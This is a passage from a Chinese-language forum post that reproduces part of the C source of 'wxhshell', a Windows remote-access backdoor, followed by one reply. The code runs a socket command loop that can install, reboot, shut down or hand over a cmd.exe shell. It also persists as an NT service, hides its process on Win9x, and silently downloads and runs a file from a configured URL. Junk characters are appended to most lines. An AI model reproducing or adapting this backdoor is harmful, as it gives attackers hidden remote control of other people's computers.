  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7>EMr}f C  
  else ]jR-<l8I-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] ^J  
  } ]#rN z"  
  else { %2beoH'  
yz)Nco]  
    switch(cmd[0]) { &0{&4,  
  ~W3t(\B'  
  // 帮助 y4H/CH$%  
  case '?': { -tp3qi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f+Fzpd?wS  
    break; <irr .O  
  } 6HH:K0j3'  
  // 安装 {l\Ep=O vx  
  case 'i': { GxE`z6%[  
    if(Install()) dx.Jv/Mb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J@rBrKC  
    else CU/Id`"tW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %d /]8uO  
    break; zJOyr"B'8  
    } \8k4v#wH  
  // 卸载 NYR:dH]N~d  
  case 'r': { gU?M/i2  
    if(Uninstall()) d-I=xpB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI`<U:-lP  
    else $4]4G=o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i\* b<V  
    break; j3[kG#  
    } hl,x|.f}4Y  
  // 显示 wxhshell 所在路径 vI(CX]o  
  case 'p': { sjHcq5#U!  
    char svExeFile[MAX_PATH]; A'*#UYn(  
    strcpy(svExeFile,"\n\r"); 6?/f $,v  
      strcat(svExeFile,ExeFile); v}@Uc-(  
        send(wsh,svExeFile,strlen(svExeFile),0); K)eyFc  
    break; D$`$4mX@hP  
    } xk^`4;  
  // 重启 #5X+. !L  
  case 'b': { 5K =>x<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0Q]{r )  
    if(Boot(REBOOT)) g c<Y?a-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 02^Nf7DMR  
    else { <JW %h :\t  
    closesocket(wsh); ;NGSJfn  
    ExitThread(0); ];u nR<H  
    } V7k!;0u v  
    break; 6dRvx;d  
    } :S+Bu*OyH  
  // 关机 +t(Gt0+  
  case 'd': { NFf?~I&mfu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c7R6.T  
    if(Boot(SHUTDOWN)) mzf^`/NO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3le[6C/8=  
    else { uao#=]?)  
    closesocket(wsh); {=+'3p  
    ExitThread(0); :=K+~?  
    } Z|d+1i  
    break; )%hW3w  
    } 6Zv-kG  
  // 获取shell MO|8A18B  
  case 's': { 9Wdx"g52_D  
    CmdShell(wsh); Q776cj^L  
    closesocket(wsh); g,f AV M  
    ExitThread(0); eX'V#K#C  
    break; > v4+@o[~  
  } |sAl k,8s  
  // 退出 X6r3$2!  
  case 'x': { -LlS9[r0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3WPZZN<K9  
    CloseIt(wsh); < WQ ~X<1D  
    break; 2WB`+oWox  
    } }?9A:&  
  // 离开 $qiM_06  
  case 'q': { 0fN; L;v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $/Llzpvny  
    closesocket(wsh); n_6#Df*  
    WSACleanup(); SjvSnb_3  
    exit(1); +O7GgySx  
    break; BfDC[(n`  
        } c + aTO"  
  } 0*KL*Gn  
  } PD-*rG `  
+[[^W;<.l  
  // 提示信息 bMqFrG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L^Fb;sJYI  
} :bq UA(k  
  } 7H?lR~w  
c7]0 >nU;  
  return; B3E}fQm )  
} #d$lN}8  
p uW  
// shell模块句柄 7MhaLkB_6  
int CmdShell(SOCKET sock) <9S5  
{ &_'3(xIO  
STARTUPINFO si;  *1 *i5c  
ZeroMemory(&si,sizeof(si)); Z5@E|O&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >oapw5~5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /#[mV(k  
PROCESS_INFORMATION ProcessInfo; |J~A )Bw?  
char cmdline[]="cmd"; AH^ud*3F  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4p>,  
  return 0; w3"%d~/[x  
} i({MID)/_  
\cHF V  
// 自身启动模式 $]4o!Z  
int StartFromService(void) RP9~n)h~b  
{ 'T]Ok\  
typedef struct k|cP]p4,  
{ L#N ]1#;  
  DWORD ExitStatus; p\tA&>3-  
  DWORD PebBaseAddress; {z@a{L:SC  
  DWORD AffinityMask; }&^1")2t  
  DWORD BasePriority; R+9 hog  
  ULONG UniqueProcessId; 72= 4#  
  ULONG InheritedFromUniqueProcessId; )IKqO:@  
}   PROCESS_BASIC_INFORMATION; 8TYoa:pZ  
D 75;Y;E  
PROCNTQSIP NtQueryInformationProcess; %z-n2%  
!4$-.L)#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '^tC|)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gyc _B  
5.lg*vh  
  HANDLE             hProcess; Li\b ,_C  
  PROCESS_BASIC_INFORMATION pbi; xiF}{25a  
Lv *USN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /$j,p E=  
  if(NULL == hInst ) return 0; 4Td)1~zc3  
f+2mX"Z[F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J!yK/*sO,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0<nW nD,z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k-sBf Jy\  
9+~1# |  
  if (!NtQueryInformationProcess) return 0; n%6=w9.%c  
U:8cz=#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .GvZv>  
  if(!hProcess) return 0; ;.7]zn.X]2  
vX$|/74  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . Fm| $x  
*]ME]2qP  
  CloseHandle(hProcess); T;3B_ lu]  
 hAD gi^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #/)U0 IR)  
if(hProcess==NULL) return 0; VA%4ssy  
}p*WH$!~  
HMODULE hMod; \mw5 ~Rf;  
char procName[255]; Cm-dos  
unsigned long cbNeeded; T )bMHk  
aQV?}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cd4HbSp  
% xBQX  
  CloseHandle(hProcess); 5E2T*EXSh  
Qi|k,1A0  
if(strstr(procName,"services")) return 1; // 以服务启动 f5'vjWJ30  
,?!MVN-  
  return 0; // 注册表启动 hjp,v)#  
} #YSFiy:+r_  
r`PD}6\  
// 主模块 kM3#[#6$!  
int StartWxhshell(LPSTR lpCmdLine) 3*oZol/  
{ ZJHaY09N  
  SOCKET wsl; "4.A@XsY  
BOOL val=TRUE; t5EYu*  
  int port=0; KnUVR!H|  
  struct sockaddr_in door; ^C;ULUn3  
M?I^`6IOc8  
  if(wscfg.ws_autoins) Install(); 9\%`/tJM  
JC7:0A^  
port=atoi(lpCmdLine); )yS8(F0  
l$C Y gm  
if(port<=0) port=wscfg.ws_port; !~Kg_*IT  
Bu4@FIK!C  
  WSADATA data; ^-(DokdBn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u3IhB8'  
a!, X@5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,m5tO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 24 RD  
  door.sin_family = AF_INET; Uq.hCb`:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \ F)}brPc  
  door.sin_port = htons(port); 4 Z&KR<2Z  
<BK?@Xy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L!~ap  
closesocket(wsl); Ce} m_  
return 1; -6# _t  
} Eopb##o  
}`]Et99Q5  
  if(listen(wsl,2) == INVALID_SOCKET) { rf]x5%ij  
closesocket(wsl); p+${_w>pl{  
return 1; FPu$Nd&\  
} 9yj'->dL  
  Wxhshell(wsl); =|H.r9-PK6  
  WSACleanup(); [iC]Wh%  
q<4{&omUJ  
return 0; W4)bEWO+q  
?)7UqVyq  
} 1tlqw  
a?*pO`<J{  
// 以NT服务方式启动 NdC5w-WY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bl#6B.*=  
{ ,?wxW  
DWORD   status = 0; =0SJf 3  
  DWORD   specificError = 0xfffffff; .d+zF,02Z  
SA?1*dw)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *O7PH1G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p Moza8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y8 dOx=c  
  serviceStatus.dwWin32ExitCode     = 0; C{,Vk/D-0  
  serviceStatus.dwServiceSpecificExitCode = 0; As j<u!L  
  serviceStatus.dwCheckPoint       = 0; #{J+BWP\o  
  serviceStatus.dwWaitHint       = 0; P[r$KGz  
)-25?B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uYijzHQyD  
  if (hServiceStatusHandle==0) return; ~w}=Oby'y  
M*aYcIU((  
status = GetLastError(); SZvC4lOn#  
  if (status!=NO_ERROR) kkXe=f%  
{ {d> 6*b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ho $+[K  
    serviceStatus.dwCheckPoint       = 0; OXbC\^qo@  
    serviceStatus.dwWaitHint       = 0; l)V646-O,~  
    serviceStatus.dwWin32ExitCode     = status; 1D%E})B6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6rlvSdB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2m9qg-W  
    return; +P.JiH`\=  
  } VREDVLQT  
$9Gra#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (N5"'`NZA  
  serviceStatus.dwCheckPoint       = 0; i*mI-l  
  serviceStatus.dwWaitHint       = 0; 3;R`_#t+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  &%T*sR  
} /'^ BH A|h  
X7?j90tH  
// 处理NT服务事件,比如:启动、停止 /bmkt@$-0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S(0JBGC  
{ ^}lL@Bd|  
switch(fdwControl) z2q!_ ~  
{ Hio+k^  
case SERVICE_CONTROL_STOP: Wj, {lJ,  
  serviceStatus.dwWin32ExitCode = 0; |*L/ m0'L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,2P /[ :  
  serviceStatus.dwCheckPoint   = 0; *Zn,v-d  
  serviceStatus.dwWaitHint     = 0; ,<[x9 "3\  
  { {vur9L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?i}wm`  
  } GqgJ]m  
  return; 6` 3kNk;  
case SERVICE_CONTROL_PAUSE: `!ZkWF6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y|3!E>Up  
  break; ML%JT x0+Z  
case SERVICE_CONTROL_CONTINUE: |RDE/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A@reIt  
  break; l>)+HoD  
case SERVICE_CONTROL_INTERROGATE: 8DFq eY0S  
  break; !ED,'d%J  
}; Ld=6'C8ud  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X"%eRW&qu/  
} jI$7vmO  
N5b&tJb M0  
// 标准应用程序主函数 ;`Z>^.CB  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z'0 =3  
{ N<QLvZh  
~}Z{hs)  
// 获取操作系统版本 {7Kl #b  
OsIsNt=GetOsVer(); 2-^ ['R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); GD!!xt  
d!"gb,ec  
  // 从命令行安装 ?l`|j*  
  if(strpbrk(lpCmdLine,"iI")) Install(); FQcm =d_s  
%t$)sg]  
  // 下载执行文件 pWKI^S  
if(wscfg.ws_downexe) { V_KHVul  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l!IN#|{(  
  WinExec(wscfg.ws_filenam,SW_HIDE); \]Rmq_O  
} .GFKy  
=E&1e;_xlE  
if(!OsIsNt) { bLUyZ3m!  
// 如果时win9x,隐藏进程并且设置为注册表启动 )7WLbj!M  
HideProc(); (dym*_J  
StartWxhshell(lpCmdLine); 8,:lw3x1  
} XL(2Qk  
else ZOL#Q+U  
  if(StartFromService()) ]Y f8  
  // 以服务方式启动 ;\iu*1>Z,&  
  StartServiceCtrlDispatcher(DispatchTable);  8vUq8[[  
else N Q }5'  
  // 普通方式启动 Bhe0z|&  
  StartWxhshell(lpCmdLine); hxGo~<. :  
b=:%*gq,  
return 0; M2nZ,I=l  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八